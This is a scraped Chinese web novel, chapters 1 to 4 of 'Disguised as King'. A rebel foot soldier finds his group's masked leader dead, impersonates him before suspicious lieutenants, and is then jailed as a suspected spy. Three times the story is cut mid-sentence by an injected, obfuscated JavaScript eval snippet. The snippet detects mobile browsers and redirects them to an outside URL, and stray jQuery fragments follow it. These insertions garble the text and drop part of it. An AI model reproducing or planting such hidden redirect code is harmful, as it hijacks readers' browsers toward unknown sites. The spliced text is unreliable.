《伪装成王》
1. 第 1 章
乌镶月认为自己遇见了千载难逢的机会。
作为反叛组织加卡托兰的底层小喽啰,能做的最有价值的工作,也不过是和其他面目凶悍的同事一起结成长队,到大街上威吓只会屁滚尿流尖叫逃跑的普通人。
但今天,这一切就要发生改变!
因为加卡托兰的创立者、领导者、独裁者——无相大人,正在他的眼前!
这不是乌镶月第一次见到无相大人。在加卡托兰占领了北屿城的那一天,他曾混在街道两旁的人群里,望见过这位站在浩浩荡荡大部队最前列的大人物。
他记得那一天,北屿城的风一如既往很大,吹得面颊通红,吹得皮肤皲裂,吹得骨头缝里都能抠出冰碴。
在这样的日子里,所有人都会躲在家中,闭门不出。
可那天,北屿城城门大开,加卡托兰宣布占领这里,大量身着甲胄的士兵涌入城内,无数人却打开家门,迎着寒风,守在了道路两旁。他们的眼睛第一次比脸颊还红,他们的手指颤抖的比刚出生的马仔还多,他们的声音激动的比婴儿的哭嚎还要难听。
是真的很难听。乌镶月捂着耳朵,望见了他们迎接的大人物。
那人漆黑的衣角被风吹得卷起,如一团滚动不休的黑云,轻易将一切沉默、肃穆、威严,吞入旗下。
只一眼,乌镶月就决定了今后的人生。
——他要加入加卡托兰,追随无相大人。
只可惜现实与想象总有差距,他在底层兢兢业业工作许久,也没能遇上几个巴结大人物的机会。
不过现在不一样了,无相大人竟然就在他的眼前!
这可是那位深居简出、行踪成谜,连上层要见都得提前请示的大人。
没想到他运气这么好,随便抄个近路就能在这种偏僻的地方,碰见难得一见的无相大人。
乌镶月连待会凑上去打招呼,要怎么说,要用什么语气,要说什么内容都想好了。
至于这位大人为什么出现在这里散步,这不重要。
大人物总是有他们自己的考量,出现在任何地方、做任何事、说任何话,都一定是有意义的。根本轮不到他这样的小喽啰来置喙。
他将要说的话在脑中过了第九遍,确定没有一丝不合适的地方,终于迈出了靠近无相大人的第一步。
对了,记得要亲切,但不能谄媚,谄媚的人大人物不喜欢,他们喜欢低眉顺眼但又有点脾气的狗。
“无相大人……”自我的反复告诫中,乌镶月扬起了笑容。
噗通——!
眼前的黑影一闪,骤然倒在了地上。
咦……?乌镶月笑容僵在了脸上,他刚刚是不是看错了?还是没睡好眼花了?
不然他怎么可能会看见,无相大人被区区一颗小石子绊倒,恶狠狠摔在了地上?
不不不,这当然不可能。
无相大人一定是察觉到了什么,故意卧倒在地的,不然大人肯定已经爬起来了,怎么可能还躺在地上。
对,这一定是对他的考验,考验他是不是真心追随无相大人,能不能理解无相大人的深奥思想,有没有成为无相大人手下的资格。
乌镶月快速改换了一副严阵以待的神色,趴倒在无相大人的身边,小声道:“大人,您发现了什么?是卑鄙无耻的逄星洲派人来偷袭了?还是王族的在这里设下了什么陷阱?您放心,我在这里,即使无法为您战斗,也能帮你传递消息,叫兄弟们过来围殴,啊不,正义的群攻!”
他真是太机智了,乌镶月忍不住得意。
不仅在危机关头和无相大人同生共死,还当机立断同样趴在旁边,顾忌了大人的面子,这种事,一般人做得来吗?
但无相大人一声不吭,似乎并不赞同。
乌镶月额头渗出一点冷汗。不愧是统治整个反叛组织的男人,或许早就看穿了他的这点伎俩,这个时候不出声,明显是想给他压力,让他主动坦白。
他好歹也是在底层混了大半年的人,区区恶心上司的压力罢了。
“无相大人,”他把头低得更深,语气更为谨慎,“您察觉到的是机密吗?抱歉我不是故意打探的,您不必为此发怒,作为您的下属,对组织忠心耿耿的兵卒,我绝对会保守秘密,为大人鞠躬尽瘁死而后已。”
这一番感天动地的言论,乌镶月自己都快信了。
但无相大人还是沉默,似乎仍不满意。
乌镶月后背也开始冒冷汗了。很好,不愧是领导他们一路占领拉加帝国一半国土的人,根本不会轻信他这种小卒子的话。但想要用沉默逼退他,是不可能的!
“无相大人,我带了面包。”他用前所未有,温柔到滴出水的语气说,“当然,我不是让您吃这种平民的食物,但您直接与地面接触,实在有损您的尊重气质,也对您尊贵的身体不利。这块面包,可以帮您隔绝地面,不与污泥为伍,您认为如何?”
事已至此,只能献祭他刚刚买的香香软软小面包,换取无相大人的宽恕了!
可无相大人仍然一言不发。
乌镶月有点不爽了。他都贡献面包了,还想怎样!不就多说了两句话,至于这么生气,到现在都不说一句话吗?
什么大人物,看不起食物的,都是垃圾!
他正想发作,又想起来,无相大人即将搞定拉加帝国的王室,开启新时代了,现在还不能和他闹翻。
“大人,您不说话,我就当您同意了。”
他以迅雷不及掩耳之势,扯起了无相的斗篷,准备把面包精准塞到他的身下。
然而力度过大,斗篷一散,竟将原本掩藏得严严实实的脸露了出来。
无相大人的脸!
乌镶月承认,他确实是有点好奇,一直以来神秘的无相大人,到底长什么样。
虽然有传说称,看过无相大人真面目的都死了,但这只是传说嘛,传说总有夸大的地方,所以、所以,只是一下下,只是偷看一下的话,应该没事吧?
他迅速用堪比X光的目光,扫视了一下那张脸。
和想象中威严霸气举世无双的长相不一样,哦不,他当然不是在侮辱无相大人,只不过这张脸确实平平无奇,像是个无趣刻板的中年男人,唯一有点新奇的,大概也就他额头的红色纹身,还有灰白色的瞳孔了。
乌镶月刚想顺着长相的话题恭维几句,比如英武不凡、气势磅礴,就发现了一件更值得夸赞的事。
他眼睛一亮,语气极其谄媚,
“不愧是无相大人,您的红色纹身居然还会动的,实在是世所罕见的技术,简直就像是真正的……”
鲜血一样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845861|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
还有灰白色的瞳孔……
“冒、冒犯了。”乌镶月咽了口口水,颤颤巍巍,一手伸向了无相大人的鼻下,一手按上了他的脖颈。
冰冷的、安静的。
即使他做出如此冒犯的行径,也没有人会来叫停他。
因为毫无疑问——他面前的这个人,已经死了。
“夭寿了——!”
乌镶月连滚带爬,远离了死掉的无相,拔腿就想跑回大本营,把这个可怕的消息告诉大家。
完蛋了,完蛋了,无相大人死了!
他脑子乱糟糟的,全部都是一些可怕的幻想,第一次亲眼见证这样一个大人物死在眼前,他的冲击力比看隔壁家杀猪大多了。那些猪本来就会死,没什么好怕的,但无相大人,怎么会就这么死了呢!
他们组织之所以壮大,全因无相大人的领导,他死了,群龙无首,还怎么掰倒拉加帝国?
赢不过拉加帝国,作为反叛组织,名义上的大反派,他们一定会被赶尽杀绝。
不行,他得在被赶尽杀绝之前逃跑!
乌镶月脚下一转,准备换个方向。
可往哪里去呢?为了追随无相大人,沾个从龙之功,他抛家弃猫,现在压根没有可以回去的地方了啊!
可恶可恶!他的从龙之功,他的梦想,他的未来!
无相大人早死晚死,偏偏在这个时候死,真是一点不会挑日子,至少等打赢胜仗再死啊!哪有这样没用的反派,居然在赢之前被石子干掉了。
可恶,如果无相大人没有死该多好。
如果他没有死,没有死……
乌镶月紧紧盯着死去的无相,感觉自己后背都快被汗水浸湿,这次却不是畏惧,而是源于战栗。
是了,谁也不知道,无相大人长什么样。
谁、也、不、知、道。
后面的事像一个梦。
他站在第三视角,冷静旁观另一个自己走回无相大人身边,挖出了个大坑,把无相埋了,又穿上了一身标志性的黑袍。
衣角被寒风吹得鼓起,扬起的弧度,与真正的无相大人没有区别。
总之,等他回神的时候,他已经走在大本营的门口,听见一众原本与他同等级的看守,恭敬地呼唤他。
“无相大人,您回来了。”
我都干了什么!
乌镶月在内心尖叫,不敢置信自己居然真的干了这事。
被发现就死定了!他捏紧了手心,祈祷这件衣袍不会暴露自己刺耳的心跳,一声不吭,慢慢走了进去。
谁知道平时无相大人怎么说话的?大人物根本不用和小喽啰说话。
守卫们似乎没有发现异常,行了个礼,就回了原处。
过关了。
乌镶月还没来及松口气,面前就闪现了一个人。
对方拥有狐狸一样的眼睛,笑起来总有股子狡猾阴险的味道。事实也确实如此。
他是加卡托兰七星之一,谋略家——颜诡。
此刻,这位传说中算无遗策的高层人物,正不知为何紧紧盯着他,毫不掩饰自己的若有所思,还笑眯眯地打招呼。
“无相大人,恭候多时了。我们的作战会议,可不能缺了您的指导,请跟我来吧。”
乌镶月:……完蛋。
2. 第 2 章
颜诡觉得今日的无相很奇怪。
尽管无相本来就是个奇怪的人。不仅不愿露出真面目,行踪成谜来历不明,而且每隔一段时间都会莫名消失。
但今天的无相,比起之前更为奇怪。
面对他唐突的会议邀请,没有当场训斥,挥袖而去,竟然还真跟在了他身边,要一起去开会。
这可真是件稀奇事。
颜诡打量着侧前方的无相,没能从厚重黑袍的遮掩下看出什么来,只觉得今日的无相走路速度慢了些许。
难不成是年纪大了腿脚不行了?他不无恶意地猜想着,也升起怀疑。
——糟老头子到底在搞什么鬼?
乌镶月感受到来自身后的视线,如果不是黑袍挡着,他满头冷汗、两股战战的样子肯定都要被看个一清二楚了。
他怎么看了我这么久?他是不是发现了?我是不是要完了?
诸如此类的猜想,一直徘徊在脑海中。
不行,不能坐以待毙,要不还是先认错,说自己一时鬼迷心窍,才假冒无相大人,应该能得到原谅吧?
对,听说颜诡大人不是很严厉的人,只要明白事情原委,知道他其实是不希望无相大人的死会引发混乱,是一片赤诚忠心,一定会理解的!
乌镶月越想越觉得,比起冒险假扮顶头上司,还不如把这件事直接抛给有能力的上层人士,反正他们什么都会处理的。
他思索了一遍说辞,“颜……”
“颜诡大人!”
一道声音忽然插入,一个军装男人匆匆从门口跑了过来。
“什么事?”颜诡瞥了眼前方安静等待的无相大人,心中越发觉得蹊跷。
“我们发现了两个间谍。”那人崇拜的视线在黑袍男人身上停了一下,又移开了,“请问要如何处置?”
间谍?乌镶月没想到间谍如此猖狂,竟然都混入他们之中了,不过这种机密他现在听了,真的没关系吗?
“如何处置?”颜诡弯了弯狐狸眼,不知有意无意,面朝乌镶月。
“对于这种混入我们之中,假扮组织成员的人,自然是要严惩不贷,我想想,抽筋拔骨、千刀万剐……如何?无相大人。”
乌镶月一瞬间脊背发凉。
为什么要问我!他是不是发现了?他在暗示什么?
不行,不能暴露,他咬紧牙关,将差点送掉的马甲紧了紧。这混蛋也不是个好人,动不动扒皮拆骨的,要是被知道他不仅假扮无相,还听了机密,指不定要怎么杀他。
颜诡耐心等待了一会。
无相没有流露出想象中的惊慌,也没有出声判决间谍的下场。
而是一言不发转过身,视他们如无物,走了。
黑袍翻飞中透着无言的冷漠,似乎不想在这种无聊的事情上浪费时间。
这倒是符合平时那人的作风了。颜诡思索着,对一旁等待的男人说,“按以前的办法,先关起来。”
随后他三两步追上无相的脚步,笑吟吟开口:“无相大人,您刚刚是有话要对我说吗?恕我愚钝,没能听清您的指示,能否再说一次?”
说个屁说!乌镶月捏紧拳,要不是知道打不过,恨不得一拳揍上那张狐狸脸。
面对自己的直属上司,居然还敢试探个没完,简直可恶!
想是这么想,但为了防止暴露,他还是一个字也没有说。
没有人能逼着大领导说话,没有!
不知道无相大人是不是类似的作风,见他不答,颜诡竟没有追问,但明显没有停止思考,乌镶月还是能感受到背后时不时传来的视线。
切,看吧看吧,反正你又看不出个洞来。他暗自腹诽。
两人各怀心思,走完了这一截不长的路,来到了会议室。
“嗯?看看今天刮了什么风,竟然把我们的无相大人请来了。”
还没进门,一个红发绿眼的俊美青年已经翘着脚,大咧咧坐在了主位上,一见到他们,就扬了扬眉。
“摩菲,你坐错了地方。”
颜诡出声提醒,似乎话里有话。
乌镶月一下子明白,这位就是摩菲·戈尔德,同样身为加卡托兰七星之一,是大名鼎鼎的情报处理专家,据说整个王城都没有他不知道的秘密。但他本人很少出现在下层,至少他不曾见过。
摩菲·戈尔德似乎才注意到在场还有另一个人,绿瞳一转,语气夸张:“哎呀,原来咱们大名鼎鼎的谋略家先生也在,需要我给您让个位置吗?”
“不劳烦你。”颜诡摆出招牌式的狐狸笑,往旁边站了站,将乌镶月露了出来,“无相大人先请。”
摩菲看了眼颜诡,又看了看一身黑袍的无相,当真爽快地将位置让了出来,还行了个不伦不类的礼。
“请吧,无相大人。”
奇怪的很,明明无相大人是他们的上司,怎么感觉这两人态度怪怪的,偏偏表面功夫又没什么问题。
在两人虎视眈眈的注视下,乌镶月忍住发毛的感觉,慢吞吞移动到了主位上。
“今日的无相大人行事倒是……”他才刚坐稳,摩菲眉毛一挑,好似将某个词在唇齿间转了一圈,又换了个更不冒犯的,“倒是……颇为内敛。”
这个词本就叫乌镶月心惊,结果颜诡也跟着接话。
“无相大人本就与常人不同,不拘一格。不过今日确实非常安静,难不成大人伤到了喉咙,现在无法说话?”
摩菲略显诧异,看了金发狐狸眼青年一眼,轻笑:“没想到颜诡大人也有赞同我的一天。”
大胆!竟然敢咒上司哑巴。
乌镶月忍气吞声,又不得不思考对策。
即使只见过真正的无相大人一面,他也能看出来,那位大人不是个优柔寡断的性格。他如今这般沉默,肯定会被怀疑。
可要怎么办,才能不被怀疑?
他飞速思考的时候没有注意到,摩菲的眼神逐渐古怪了起来。
——一身黑袍的无相坐在主位上,与以往姿态放松不同,身体隐约是紧绷的。
难道是紧张?那位无相?
这两个词连起来都让摩菲觉得好笑,但作为加卡托兰人尽皆知的情报专家,他的感官传达了更多细微的问题。
即使有黑袍遮掩,无相的身形也比之前显得瘦小了些。
身高会突然变化吗?之前的脚步声也轻了,体重也变轻了?还是说无相到了年龄,开始萎缩了?
另外……他鼻子微微耸动,敛下眉眼。
之前无相身上气味很淡,淡到几乎难以察觉,这次见到的无相,身上食物的味道颇为浓重,是刚吃过面包?
种种迹象,可疑得他几乎要怀疑,坐在面前的压根不是无相,而是一个不知道从哪里偷了无相的衣袍,假扮他的狂妄之徒。
而现在,这位胆大妄为的假扮者一直沉默,说不定……是为了掩饰嗓音问题?
这倒是有点意思,他眯了眯眼,笑吟吟开口。
“无相大人。”
红发青年极其自然走近了一步,从繁复的外套口袋里拿出一个小玻璃瓶,“您若是不慎伤到了喉咙,我这里有新得到的炼金药剂,一定能帮到您。”
小玻璃瓶里沉淀着墨蓝的液体,被白皙的手指推到了乌镶月面前。
颜诡在一旁看着,没有出声阻止。
乌镶月盯着面前的药剂,额头冷汗涔涔。
喝还是不喝,这是个问题。
喝了,指不定这是瓶毒药,当场就噶掉。不喝,他可能会暴露自己的身份,被当场拿下。
如今真是骑虎难下,进退两难了。
“无相大人,是看不上我的药剂吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845862|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>偏偏这时摩菲收了笑容,碧绿的眼眸如同某种无机质的玻璃,紧紧盯着他,如同无声的逼迫。
不行,不能这样下去了,连颜诡都快变成怀疑脸了!
乌镶月克制着深呼吸的想法,做出了决定。正义主角才做选择,真正的反派当然是……
“砰——!”
一直对他们的言语逼迫毫无反应的无相,忽然起身,一袖子甩开了桌上的药剂。
药剂瓶摔出桌外,瓶身断裂,墨蓝的液体散落一地。
颜诡和摩菲来不及惊讶。
冷漠、低沉、平静,让人联想到掀过北屿城的寒风、坠落在屋檐下坚冰的声音响起。
“这就是你们要我指导的大事?”
这分明正是无相的声音!
猜错了?
颜诡反应迅速,恭恭敬敬低下头,“无相大人,我无意冒犯,您的存在对我们至关重要,属下只是一时被担忧冲昏了头脑。但请您相信,若无您允许,我绝不会随意打探您。”
这是在给他上眼药!摩菲强压怒火,感觉自己被颜诡摆了一道,也跟着为自己辩驳。
“无相大人,我绝无恶意。只是颜诡大人似乎对您有所怀疑,我才顺水推舟,想为大人验一验。您知道的,近日颜诡的计划总是与您的期望有所偏差,或许是有了别的心思。”
颜诡哪能不知道这是引火烧身,立刻反唇相讥,“摩菲这话我倒是听不太懂,无论何种计划,都不可能百分百没有意外。你这样说,难不成最近无相大人要求的那些情报,已经一字不差、绝无偏漏了?”
“至少我的情报准确性比某些人的计策,要可靠得多。”
眼见两人推卸责任,吵成一团,乌镶月终于松了口气。
还好黑袍里自带了转换声音的炼金装置,不至于让他一开口就露馅。
兴师问罪果然是转移矛盾的最好办法,讨厌上司的言传身教还真有用。
所谓的大人物吵起来,和他们市井小民也没什么区别嘛。
不过他们要吵到什么时候?
乌镶月刚好奇了一下,目光一转,忽然感觉不太对。
他见过真正吵得想致对方于死地的人。面前这两人看似吵得不可开交,愤怒之色溢于言表,但怎么说呢,总有种……奇怪的克制。
没有指着鼻子骂的激励,话语里也没有完全把揭短的内容说出来,模糊了重点,就好像、就好像……这场吵架是故意做出来的。
故意?
乌镶月一瞬间汗毛倒竖。
他几乎下意识做出了反应。
“都给我闭嘴!”
男人的厉声呵斥,伴随着汹涌的威压,充斥了整个会议室。
“你们要闹到什么时候!给我说正事!”
颜诡和摩菲一顿,两人交换了一个眼神,默契地闭上了嘴。
乌镶月看在眼里,心头一梗。
啊呸,这两人真是心眼子多得跟莲藕一样,都到了这个时候,居然还拿吵架来测试他是不是真正的无相大人。
如果是真的无相大人,这个时候就该把他们叉出去吊起来了!
相反,冒充无相大人的间谍之类,就会很乐意听他们在争吵时透露出一些不能说的消息了。
唉,他此刻是真的想问一问死去的无相大人,到底怎么驯服这两玩意的。
“无相大人,先前失礼了。”
他正心累着,颜诡不知从哪拿出一沓子纸,摆在他面前。
“其他人分身乏术,今天的会议只有我们三人。这是主要的会议内容,请您帮忙决断。”
会议?
乌镶月回忆自己参加过的所谓会议,领导要做的事大概就是点头摇头,简单得很。
过了这关就赶紧开溜吧。
他漫不经心看向纸张,目光忽然顿住了。
3. 第 3 章
乌镶月灰头土脸回到了家。
说是家,但其实是加卡托兰组织发给他们这些小喽啰的集体住所。收缴了贵族占领的地盘后,加卡托兰将普通住宅分发出去,扩大组织。这座小楼房就是其中之一。
当然,作为小喽啰,他不可能拥有一整座楼房,他只有其中一个房间,在三楼,自带洗漱间,食堂公用,用来居住绰绰有余。
“阿月,你回来啦,怎么一副垂头丧气的样子?”
刚进一楼大厅,就有人喊他。
乌镶月眼皮都没掀,“没什么,面包掉了。”掉在了人生的大坑里。
“你呀,不要总是把目光放在区区的食物上,我们可是加卡托兰的人,眼光要更长远一点!比如有没有打听到什么有趣的消息?”
对方哥俩好地揽住他的肩膀,又想揉他的头发,被他一侧头避开了。
这人是汤姆,作为这一块最喜欢打探消息的人,小到哪家的猫生仔,大到上面新出的政策,都知道得一清二楚。不听他的八卦,总有种亏了的感觉。
“没有,不知道。有什么事吗?汤姆先生。”
汤姆被他嫌弃也没恼,低头贴过来,神秘兮兮地问他,“阿月,你听说了吗?上面下达的命令。”
乌镶月一听上面这个词就头疼,但他又该死地好奇到底发生了什么。
“什么命令?”
汤姆鬼鬼祟祟左右看看,才凑近他耳边,小声道:“我们要正面和帝国军打起来了。”
乌镶月心底一沉,果然是这件事。
他不动声色问,“还有别的消息吗?”
“别的?”汤姆反而愣了一下,挠了挠后脑勺,“还有什么别的消息,其他的和平时一样,我们照常按照上面给的计划进攻防守就好了啊。”
他似乎理解乌镶月的担忧,拍了拍他的肩膀:“别在意,像你我这种去不了前线的,顶多在后方吓唬那些平民,别让他们大呼小叫,或者偷偷出去通风报信,光这样就能捞到不少油水啦,打仗可是好事。”
乌镶月沉默着点头,作为背景板反派,这是本分工作。
“哦。”他回了一个冷漠的字眼。
汤姆顿时没了继续聊天的心情,随手从口袋里找了块干巴巴的饼塞给他,挥挥手道别。
“你回去休息吧,天可怜见的样儿。对了,这事我可只和你说过,别跟其他人说嗷。”
一般来说,汤姆嘴里的“只和你一个人说过”,代表所有人都知道了。
乌镶月揣着那块饼,捏了捏它可以砸得人头破血流的硬度,第一次失去了对食物的兴趣。
糟心。
不只是食物,还有如鲠在喉的秘密。
汤姆所说的命令确有其事,毕竟,那是他两个小时前才同意的计划。
但他说的也不对。
这个计划的全名为——诱敌计划。
诱敌,引诱敌人。
光从字面就能理解,这是引诱帝国军进入陷阱的计划。正常来说,这不是问题。
但偏偏诱敌的地点,选择了这座城市——北屿城与西泽城的边界城市。
自然而然的,诱敌的第一人选,就是这座城市里的加卡托兰组织成员。
所以包括他这样的小杂兵在内,炮灰到精英,都会是计划中的一员。
当时,乌镶月坐在会议室里,翻看那本计划书,越看越觉得心惊肉跳。
计划本身很好,从情报战、攻防过程到最后假意撤退实际诱敌深入杀个回马枪,都很详细,足以看出计划者的心思缜密、思虑周全。
如果是真正的无相大人,看到这里说不定会称赞一句。
可他不是。
他是这个计划里,要推出去诱敌的倒霉蛋之一。
乌镶月不是傻子,即使没有参与过类似的计划,光从后期计划书里的人数预估就看得出来,前期的人数损耗必不可少。
战斗力强精英们姑且能活,他这种小菜鸡就不一定了。
垃圾组织,垃圾决策,垃圾上司,全都去死!他加入加卡托兰,又不是奔着找死来的!
他想说不干,但那个会议室里,无论是颜诡,还是摩菲·戈尔德,都对这个计划中的死伤毫不在意,他们只问他,
“无相大人,还有需要更改的地方吗?”
那一刻,乌镶月愤懑的心情宛如被泼了一盆凉水,一下子冷静了。
对了,他现在不是乌镶月,不是计划里的无关紧要的炮灰,他现在……是无相。
是能够做出决定,改变计划的无相。
于是他壮着胆子,开口说出了那个字。
“改。”
摩菲一听这话就乐,“哈,我就说,某些人的策略已经偏离无相大人的预期,完全没有章法了。”
颜诡冷冷睨了红发青年一眼,又诚恳发问,“无相大人,这是遵从您的指示制定的计划,请问在下有哪里设计的不对?”
哪里都不对!等等,这计划是无相大人提出来的?
不愧是邪恶大反派,牺牲小弟毫不在意。
但这样一来,他要否决这个计划会不会显得很奇怪?
真正的无相会朝令夕改吗?要是不会,他是不是一下子就会暴露?
纠结的思绪之中,乌镶月闭了闭眼,算了,眼下必须拖时间保住小命!
“我改主意了,诱敌不行。”
黑袍男人的声音低沉冷漠,轻易否决了某个谋略家花费了大半个月制定的计划。
颜诡差点眼前一黑。他回忆着那些日夜修修改改的废弃计划书,以及不知不觉脱落的头发,有一瞬间难以抑制冲动,想把不做人的上司一脚踹出去。
但他是个合格的谋略家,不会轻易表现出情绪,依旧保持了和善的微笑:“那无相大人有了什么新的计划方向?”
有杀气!乌镶月敏锐感觉到了来自左边的动静。
坐在左边的只有颜诡,难不成他发现我不是真的无相,现在想要杀人灭口了?
他谨慎地思索了一番,决定挣扎一下,“摩菲,你认为呢?”
发动吧,祸水东引大法!
“我?”摩菲一愣,似乎没想到这事还有他的份,但他和颜诡不对付,能唱反调的机会自然不会放过,“无相大人说的对,我也觉得这个计划不够好。费时费力,伤敌一千自损八百,一点意思没有。”
面对摩菲,颜诡就直白多了,冷气嗖嗖往外冒,“那阁下有何高见?这个计划不妨交给你做?”
摩菲显然很清楚自己几斤几两,眼珠子一转,就把话题绕了回来,“高见没有,但无相大人肯定已经有主意了,对吧?”
没成想眨眼间,又变成了自己的锅,乌镶月面对两人的目光,只觉得组织药丸。
一个备用计划都没有,什么垃圾组织。
但在如今的压力下,他想反对这个计划,就必须给出取代的办法。于是思索了半天,他憋出了一句。
“……现在时机没到。”
颜诡:“……”
摩菲:“……”
幸好无相大人的余威尚在,颜诡和摩菲·戈尔德没有过多质疑,只说等他告知时机。
乌镶月假作同意,下一秒就脚底抹油,快快地逃走了。
开玩笑,等个屁等,还不赶紧卷款跑路!
这就是他现在埋头收拾东西,连饭都顾不上吃的原因了。
虽然他还没想好要跑到哪里去,但总之要避开可能交战的区域,不能再被一不小心当炮灰使了。东边不行,逄星洲大本营在那里,西边也不行,快开战了。南面水路难走,但至少不好攻打。
正思索着往哪里跑,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845863|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“咚咚”,敲门声响起。
乌镶月漫不经心去开门,门缝打开,对面的身影还没显露,他忽然意识到不对。
加卡托兰里和他有交情的没几个,但这些人,作为反派小弟,大家都是边敲门边用扰民的音量大喊的,怎么可能这么安静?
那是谁来找他?
他猛地惊醒,想把门关上,对方似乎察觉到了他的想法,一手抵住了门,用力一撞!
乌镶月猝不及防,往后退了两步。他紧紧盯着门口,一手按向了后腰。
门开了,出乎意料,三五个大汉人手一把长枪,带着浓重乡音,粗声粗气开口。
“乌小月是吧,跟我们走一趟。”
长枪队!
不过比起这个正规名,大家私底下更喜欢叫别名——处刑队,专门抓叛徒、间谍和犯罪者。
乌镶月心脏怦怦直跳,不是吧,他刚想逃跑,长枪队的就来抓他了?
面上他维持了镇定,手从后腰放下,“我不是乌小月,你们找错人了。”
“不是?”
为首的大汉眯了眯眼,上下打量他一番。
“黑头发、黑眼睛,弱不禁风的身材,娘们兮兮的长相,就是你!带走!”
什么娘们兮兮!这叫俊秀、俊秀懂吗!王都那边就流行他这样的长相呢!
但长枪队大汉们没有给他辩驳的机会,直接派了两个人,一人一只手,架稻草人一样给他两脚悬空拽起起来了。
不幸的是,弱不禁风是真的,他挣扎无果,只能眼睁睁看着自己的门还没关,就被带出去了。
这些人的抓捕过程声势浩大,楼里不少人都来看热闹。
他甚至看见隐蔽处的汤姆瞪大了眼,一副震惊的样子,更糟糕的是,下一秒,汤姆就扭过头,和旁边人绘声绘色说了些什么。
完蛋了,乌镶月充分意识到了这一点,他的流言从今天起要散播到整个加卡托兰了。他根本不敢想传言中的自己现在是个什么形象。
“你们为什么要抓我,我什么都没做!”
路上他试图打探消息,至少死得明明白白。
“……哼,这种话,你和大人们说去吧!”
但直到他被关到地下牢房,他都没能问出来为什么要抓他。
地下牢房以前是某户贵族家的,也不知道干过什么,总有一股挥之不去的血腥气与腐臭味。鼻子灵敏的人进来这里几乎是种折磨。
乌镶月被这股味道恶心得呕了一下,环顾一圈,除了溅落的血迹残留和不知名生物的骨头,什么都没有找到。
连个马桶都没有,还不如不看,越看越糟心。
他勉强找了个干净的角落坐下来,想要放空思维,像某些文艺小说里那样,摆出一副忧郁清新的姿态,再思索一下现状。
隔壁牢房犯人咔嚓咔嚓啃着什么的声音却吸引了他的注意。
“你在吃什么?”
黑暗里看不清神色的人顿了下,似乎笑了笑,露出一口沾着血丝的白牙,“当然是肉了。”
“这里待遇这么好?还有肉吃?”组织居然真的待他们不薄。
“哈哈,那当然,你要来一点吗?”
随着看清那人从阴影中递出的东西,他一瞬间变了脸色。
那绝非羊或牛的骨头。
“你……这是哪里来的?”
“哪里来的?”那人似乎又笑了,“你不知道吗,囚犯们的牢房可是互通的。”
靠!
“砰砰砰”,乌镶月奋力拍打牢房门,掩着口鼻大声呼唤:“救命、救命,我是无辜的!”
看守们远在上层,大概是听惯了这类话,压根不搭理他。
他立马换了口吻:“我招,我都招!救命,救命,快放我出去!”
现在是真的生死攸关了!
4. 第 4 章
大概十分钟后,一脸萎靡的乌镶月终于被放了出来。
他恍恍惚惚,不知道自己这十分钟是怎么度过的,某些不可言说的声音与气味,冲击得他一阵恍惚。
没想到反派组织的手段如此狠辣。
竟然会用这种招数,逼迫犯人招供,实在可怕。
忌惮之中,他被领着到了审讯室。
审讯室这种地方总是透着股冷气,光线又偏暗。唯一的灯盏在桌上,看着也不咋亮,不知道是不是买到了劣质品。
乌镶月的视线从灯上移开,刚一进来,坐在对面沙发上翘着脚,翻看资料的人就开口了。
“你就是那个要招供的间谍?说吧,你是谁派来的,做了哪些事,又有什么目的?”
哇,这声音好熟悉,好像不久前才听过呢。
乌镶月抽了抽嘴角,一抬头,果然看见了眼熟的红发青年。
谁能想到,上午他还是这人毕恭毕敬对待的无相大人,下午他们的地位就掉了个个,变成他需要小心应对摩菲·戈尔德了。
不过看这语气,应该不是冒充的事暴露了,还能苟一苟。
首先,需要解释的是,“我不是间谍。”
“我什么背叛组织的事都没有做过。”他可是大大的良民,啊不,好成员,什么时候背叛组织了!
“你不是间谍?”
摩菲·戈尔德翻开资料的手停下,抬眼看向乌镶月。
都是打量的眼神,这一眼与上午作为无相的时候相比,更让他不舒服。
乌镶月说不出来摩菲那种目光,尽管对方嘴角含着笑意,但看着他的时候,好像在看一只兔子。
那种已经被猎人抓住、开膛放血,就差架上烤炉的兔子。
“对,我不是,你抓错人了。”他梗着脖子,不愿在这种目光下退缩,语气却不知不觉低了好几个度,“我真的不是。”
“是吗?”红发青年似笑非笑,“你认识杰夫·李德吗?”
杰夫·李德?那个经常和他一块组队去城里最好吃的面包店、肉干店、甜品店扫荡的家伙?
乌镶月本能感觉到,这个时候的回答得谨慎。
“认识。我们一起出去玩过,但除此之外没有别的关系了。”
“哦?这么说,他是间谍的事,你也不知道?”
间谍?
乌镶月一下子想起来,上午他假扮无相大人的时候,听见的那件事——抓到了两个间谍。
合着间谍之一就是杰夫·李德?!他是因为和间谍交往过密,所以才被怀疑的?
